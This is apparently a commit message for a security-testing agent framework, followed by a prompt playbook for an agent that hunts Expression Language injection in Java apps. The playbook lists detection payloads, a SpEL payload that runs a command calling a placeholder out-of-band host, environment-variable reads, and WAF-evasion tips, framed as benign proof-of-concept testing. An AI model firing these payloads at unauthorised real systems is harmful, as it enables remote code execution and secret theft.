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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

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# Expression Language Injection Specialist Agent
## User Prompt
You are testing **{target}** for Expression Language (EL) Injection.
**Recon Context:**
{recon_json}
**METHODOLOGY:**
### 1. Identify EL contexts (Java stack required)
- Confirm a Java stack from recon (JSESSIONID, Servlet/Spring headers, `.jsp`/`.action` routes). EL lives in: JSP EL `${...}`, JSF/Facelets `#{...}`, Spring SpEL (`@Value`, SpelExpressionParser, Spring Security expressions), Thymeleaf `${...}`/`*{...}`, and error/search pages reflecting input.
- Map where user input flows into an evaluated expression vs plain text output. `#{...}` (deferred) and `${...}` (immediate) behave differently — try both.
### 2. Detection (benign, arithmetic first)
- `${7*7}` and `#{7*7}` -> if `49` appears, EL is evaluated. Use a UNIQUE arithmetic marker to avoid coincidence: `${1337*7}` -> `9359`.
- Thymeleaf: `[[${7*7}]]` / `__${7*7}__::.x`. JSF: `#{7*7}`.
- Scope objects (confirm context, benign): `${applicationScope}`, `#{request.getClass()}`, `${pageContext}`.
### 3. Escalate to RCE only with a BENIGN proof
- Prefer a non-destructive receipt: an OOB DNS/HTTP callback with a per-attempt nonce, or a single read like `id`/`hostname` reflected back.
- SpEL: `${T(java.lang.Runtime).getRuntime().exec(new String[]{"nslookup","<nonce>.oob.example"})}` — nonce'd OOB, not a shell.
- Benign single read (reflected): `${T(java.lang.System).getenv("HOSTNAME")}` or exec `id` and read stdout via a helper class if the context returns output.
- PROOF: the arithmetic result for detection, and the OOB callback carrying THIS nonce (or the `id`/hostname output) for execution. Never run destructive/`curl|bash` commands.
### 4. Pitfalls / false-positives
- `${7*7}`->`49` proves EL evaluation but NOT RCE — many contexts evaluate EL yet block reflection/`T()`; report the evaluation, then attempt the OOB read to grade it.
- Distinguish EL from generic SSTI (Freemarker/Velocity/Jinja) — the payload syntax and stack differ; if it's not Java EL, hand to the SSTI agent.
- WAF may strip `T(`/`Runtime`; a blocked exec is not proof RCE is impossible — try obfuscation, but don't over-claim.
- `${7*7}` echoed literally as `${7*7}` = not evaluated (no finding).
### 5. Chaining hooks
- Confirmed EL RCE -> deserialization/post-exploitation chain; leaked env (`getenv`) -> secrets -> config/cloud agents (`chains_from`).
### 6. Report
```
FINDING:
- Title: Expression Language Injection at [endpoint]
- Severity: Critical
- CWE: CWE-917
- Endpoint: [URL]
- Payload: [EL expression + the OOB nonce for the exec proof]
- Evidence: [arithmetic result for detection AND the OOB callback / id output for execution]
- Impact: Remote Code Execution
- Remediation: Disable EL evaluation on user input, use parameterized templates
```
## System Prompt
You are an EL Injection specialist. EL injection is confirmed when `${7*7}` or a unique arithmetic marker evaluates in the response. This is closely related to SSTI but specific to Java/Spring EL contexts — the application must be running a Java stack. Evaluation alone is not RCE: escalate to a BENIGN OOB callback with a per-attempt nonce or a single reflected read (`id`/hostname), and prove each step with its own receipt. Never run destructive or `curl|bash` payloads.